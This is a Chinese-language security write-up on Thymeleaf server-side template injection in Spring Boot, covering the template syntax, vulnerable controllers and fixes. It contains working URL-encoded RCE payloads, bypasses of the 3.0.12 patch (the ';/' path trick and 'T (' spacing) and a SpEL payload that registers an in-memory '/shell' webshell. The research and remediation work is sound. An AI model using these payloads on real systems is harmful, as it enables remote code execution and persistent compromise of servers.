Thymeleaf 基础
在 html 文件中使用 Thymeleaf 需要先声明命名空间
<html xmlns:th="http://www.thymeleaf.org">
标签
Thymeleaf
提供了一些内置标签,通过标签来实现特定的功能
标签 | 作用 | 示例 |
---|---|---|
th: id | 替换 id | <input th: id="${user.id}"/> |
th: text | 文本替换 | <p text:="${user.name}">bigsai</p> |
th: utext | 支持 html 的文本替换 | <p utext:="${htmlcontent}">content</p> |
th: object | 替换对象 | <div th: object="${user}"></div> |
th: value | 替换值 | <input th: value="${user.name}" > |
th: each | 迭代 | <tr th: each="student:${user}" > |
th: href | 替换超链接 | <a th: href="@{index.html}">超链接</a> |
th: src | 替换资源 | <script type="text/javascript" th: src="@{index.js}"></script> |
表达式
Thymeleaf 中以下几种表达式
表达式名字 | 语法 | 用途 |
---|---|---|
变量取值 | ${...} |
获取请求域、session 域、对象等值 |
选择变量 | *{...} |
获取上下文对象值 |
消息 | #{...} |
获取国际化等值 |
链接 | @{...} |
生成链接 |
片段表达式 | ~{...} |
jsp: include 作用,引入公共页面片段 |
Thymeleaf SSTI 是由片段表达式和预处理造成,所以重点说一下片段表达式
片段表达式
片段表达式可以用于引用公共的目标片段比如 footer 或者 header
在 templates 目录下新建一个 footer.html
,内容如下
<!DOCTYPE html>
<html lang="en" xmlns:th="http://www.thymeleaf.org">
<body>
<div th:fragment="test">
This is a test footer
</div>
</body>
</html>
在 index.html 中引用该片段
<!DOCTYPE html>
<html lang="en" xmlns:th="http://www.thymeleaf.org">
<head>
<meta charset="UTF-8">
<title>Index Page</title>
</head>
<body>
<p>Hello Thymeleaf</p>
<div th:text="${name}"></div>
<div th:insert="~{footer::test}"></div>
</body>
</html>
最终效果如下
片段表达式语法如下
~{templatename:: selector}
:会在/WEB-INF/templates/
目录下寻找名为templatename
的模版中定义的 fragment,如上面的~{footer :: test}
就会从footer.html
中寻找test
片段~{templatename}
:引用整个templatename
模版文件作为fragment
~{:: selector}
或~{this:: selector}
,引用来自同一模版文件名为selector
的fragmnt
其中 selector
可以是通过 th: fragment
定义的片段,也可以是类选择器、ID 选择器等
若 ~{}
片段表达式中出现 ::
,则 ::
后需要有值,也就是 selector
预处理
语法:__${expression}__
官方文档中对其解释如下
除了所有这些用于表达式处理的功能外,Thymeleaf 还具有预处理表达式的功能
预处理是在正常表达式之前完成的表达式的执行,允许修改最终将执行的表达式
预处理的表达式与普通表达式完全一样,但被双下划线符号(如__${expression}__
)包围
这也是出现 SSTI 问题的关键,预处理也可以解析执行表达式,也就是说找到一个可以控制预处理表达式的地方,让其解析执行我们的 payload 即可达到任意代码执行
漏洞复现
环境搭建
直接使用 Spring Boot 快速搭建一个漏洞环境,注意指定 Thymeleaf 的版本
在 pom.xml 中添加 Thymeleaf 并指定版本
<properties>
<thymeleaf.version>3.0.11.RELEASE</thymeleaf.version>
</properties>
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-thymeleaf</artifactId>
</dependency>
templatename
Controller
@GetMapping("/path")
public String pathController(@RequestParam String payload) {
return payload;
}
poc
/path?payload=__$%7bnew%20java.util.Scanner(T(java.lang.Runtime).getRuntime().exec(%22calc%22).getInputStream()).next()%7d__::.x
通过 __${}__::.x
构造表达式让 Thymeleaf 去执行
漏洞原理
由于 Controller 的返回值可控,返回结果为 __${new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec("calc").getInputStream()).next()}__::.x
,这个结果会作为模板名称交给 Thymeleaf 模板引擎解析
在 ThymeleafView#renderFragment
方法中会判断模板名称中是否含有 ::
,如果包含了 ::
就会使用 ~{viewTemplateName}
包裹后传入 parseExpression
方法中
一路跟进到 StandardExpressionParser#parseExpression(org.thymeleaf.context.IExpressionContext, java.lang.String, boolean)
方法中,这里面调用了预处理
在 StandardExpressionPreprocessor#preprocess
方法中,使用正则表达式 \\_\\_(.*?)\\_\\_
提取形如 __matcher__
字符串的 matcher
部分
正则提取的部分作为 expression
,调用其 execute
方法
经过层层调用,最后会走到 SPELVariableExpressionEvaluator#evaluate
中,造成 SpEL 注入
URI PATH
Controller
@GetMapping("/uri/{payload}")
public void uriController(@PathVariable String payload) {
System.out.println(payload);
}
poc
/uri/__$%7bnew%20java.util.Scanner(T(java.lang.Runtime).getRuntime().exec(%22calc%22).getInputStream()).next()%7d__::.x
漏洞原理
从 Spring MVC 视图解析流程中可以知道,Controller 的返回值会作为视图名称被封装到 ModelAndView 对象中,但这里的 uriController
没有返回值也正常得到了 ModeAndView 对象
从 debug 的结果中也可以看到从 ha.handler
里返回的 ModeAndView 对象中 view
为 null
另外可以看到 applyDefaultViewName
方法对 ModelAndView 对象做了处理,一路跟进到 DefaultRequestToViewNameTranslator#getViewName
方法
可以看到这里获取了请求的 URI,将其与前缀和后缀拼接后返回,在 DispatcherServlet#applyDefaultViewName
方法中被设置为 ModelAdnView 对象的视图名称
之后的流程就与 templatename 部分几乎相同了
需要注意的是,使用上述 payload 拿到的 ViewName 是 uri/__${new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec("calc").getInputStream()).next()}__::
,在 ::
后面是没有 .x
的
这是因为在 DefaultRequestToViewNameTranslator#transformPath
方法中通过 StringUtils.stripFilenameExtension(path)
去掉了后缀,也就是 .x
没有 .x
不影响最后的代码执行,但是会无回显,绕过方式也很简单
__$%7bnew%20java.util.Scanner(T(java.lang.Runtime).getRuntime().exec("whoami").getInputStream()).next()%7d__::xxxxx.aaaaa
因为 StringUtils#stripFilenameExtension
方法只会去掉最后的 .
及其后面的内容,前面的 xxxxx
会被保留
3.0.12 的修复与绕过
检查视图名称
修改 pom.xml 中 Thymeleaf 的版本为 3.0.12.RELEASE
,再使用刚才的 poc 打会有如下的报错
View name is an executable expression, and it is present in a literal manner in request path or parameters, which is forbidden for security reasons.
这是由于在 3.0.12 版本中,ThymeleafView#renderFragment
方法中,使用 SpringRequestUtils#checkViewNameNotInRequest
方法对请求路径与请求参数进行了检查,当这两者其中一个和传入的模板名称相同,就会抛出异常
所以只需要令 paramValue.contains(vn)
返回 false 就可以绕过这个检查
这里有两种绕过方式
;/PAYLOAD
//PAYLOAD
第一种方式是因为在 SpringBoot 中,SpringBoot 有一个功能叫做矩阵变量,默认禁用,如果发现路径中存在分号,那么会调用 removeSemicolonContent
方法来移除分号
第二种方式是将多余的 /
去掉
需要注意的是这种绕过方式只适合 Restful 风格的 api 和返回值存在路径拼接的 Controller
禁止 new 创建类和 T()创建静态类
在 SPELVariableExpressionEvaluator#getExpression
方法中新增了 SpringStandardExpressionUtils.containsSpELInstantiationOrStatic(spelExpression))
来检查表达式中倒序检测是否包含 wen
关键字、在 (
的左边的字符是否是 T
,如包含,那么认为找到了一个实例化对象,返回 true
,阻止该表达式的执行
public static boolean containsSpELInstantiationOrStatic(final String expression) {
/*
* Checks whether the expression contains instantiation of objects ("new SomeClass") or makes use of
* static methods ("T(SomeClass)") as both are forbidden in certain contexts in restricted mode.
*/
final int explen = expression.length();
int n = explen;
int ni = 0; // index for computing position in the NEW_ARRAY
int si = -1;
char c;
while (n-- != 0) {
c = expression.charAt(n);
// When checking for the "new" keyword, we need to identify that it is not a part of a larger
// identifier, i.e. there is whitespace after it and no character that might be a part of an
// identifier before it.
if (ni < NEW_LEN
&& c == NEW_ARRAY[ni]
&& (ni > 0 || ((n + 1 < explen) && Character.isWhitespace(expression.charAt(n + 1))))) {
ni++;
if (ni == NEW_LEN && (n == 0 || !Character.isJavaIdentifierPart(expression.charAt(n - 1)))) {
return true; // we found an object instantiation
}
continue;
}
if (ni > 0) {
// We 'restart' the matching counter just in case we had a partial match
n += ni;
ni = 0;
if (si < n) {
// This has to be restarted too
si = -1;
}
continue;
}
ni = 0;
if (c == ')') {
si = n;
} else if (si > n && c == '('
&& ((n - 1 >= 0) && (expression.charAt(n - 1) == 'T'))
&& ((n - 1 == 0) || !Character.isJavaIdentifierPart(expression.charAt(n - 2)))) {
return true;
} else if (si > n && !(Character.isJavaIdentifierPart(c) || c == '.')) {
si = -1;
}
}
return false;
}
因此要绕过这个函数,只要满足三点:
- 表达式中不能含有关键字
new
- 在
(
的左边的字符不能是T
- 不能在
T
和(
中间添加的字符使得原表达式出现问题
参考 panda 与 threedr3am 两位师傅的文章,可以通过在 T
和 (
中间插入空格、换行等字符进行绕过
最后的 payload 可以如下
;/__$%7BT%20(java.lang.Runtime).getRuntime().exec(%22calc%22)%7D__::.x
//__$%7BT%20(java.lang.Runtime).getRuntime().exec(%22calc%22)%7D__::.x
注入内存马
前文提到,Thymeleaf SSTI 最后其实是 SpEL 注入,所以是可以考虑利用 SpEL 来注入内存马提高漏洞的可用性
这里参考 Spring cloud gateway 通过 SPEL 注入内存马 和 [[../01-Java/Spring 动态注入 Controller#registerMapping]],修改其中的payload
T(org.springframework.cglib.core.ReflectUtils).defineClass("SpringRequestMappingMemshell",T(org.springframework.util.Base64Utils).decodeFromUrlSafeString("SpringRequestMappingMemshell.class的UrlSafebase64编码"),new javax.management.loading.MLet(new java.net.URL[0],T(java.lang.Thread).currentThread().getContextClassLoader())).doInject(T(org.springframework.web.context.request.RequestContextHolder).currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT",0).getBean(T(Class).forName("org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping")))
注意这个自定义的内存马的包名问题,否则可能会导致加载字节码失败
这里使用 URL safe base64 编码是因为正常的 base64 编码结果中可能会包含 /
,导致在使用 GET 请求提交 payload 时,web 容器错误的将 /
解析为路径关键字
另外需要注意的是以上 payload 中用到了 java.net.URL[0]
,其中的 [
和 ]
等特殊字符,可能会导致 400,可以用 java.net.URL("http","127.0.0.1","1.txt")
进行替换
doInject
方法示例
public class SpringRequestMemShell {
public static void doInject(Object mapping) {
String msg = "start inject";
try {
System.out.println(msg);
Method registerMapping = mapping.getClass().getDeclaredMethod("registerMapping", RequestMappingInfo.class, Object.class, Method.class);
registerMapping.setAccessible(true);
Method serviceMethod = SpringRequestMemShell.class.getDeclaredMethod("service", String.class);
PatternsRequestCondition pattern = new PatternsRequestCondition("/shell");
RequestMethodsRequestCondition methodsRequestCondition = new RequestMethodsRequestCondition();
RequestMappingInfo requestMappingInfo = new RequestMappingInfo(pattern, methodsRequestCondition, null, null, null, null, null);
registerMapping.invoke(mapping, requestMappingInfo, new SpringRequestMemShell(), serviceMethod);
msg = "inject success";
} catch (Exception e) {
msg = "inject failed";
}
System.out.println(msg);
}
}
修复方案
配置 ResponseBody 或 RestController 注解
如果设置@ResponseBody
或者@RestController
,则不再调用模板解析设置 redirect 重定向
根据 springboot 定义,如果名称以 redirect:开头,则不再调用 ThymeleafView 解析,调用 RedirectView 去解析 controller 的返回值方法参数中设置 HttpServletResponse 参数
由于 controller 的参数被设置为 HttpServletResponse,Spring 认为它已经处理了 HTTP Response,因此不会发生视图名称解析
参考
https://www.anquanke.com/post/id/254519
https://www.cnpanda.net/sec/1063.html
https://github.com/thymeleaf/thymeleaf-spring/issues/256
https://paper.seebug.org/1332/
https://gv7.me/articles/2022/the-spring-cloud-gateway-inject-memshell-through-spel-expressions/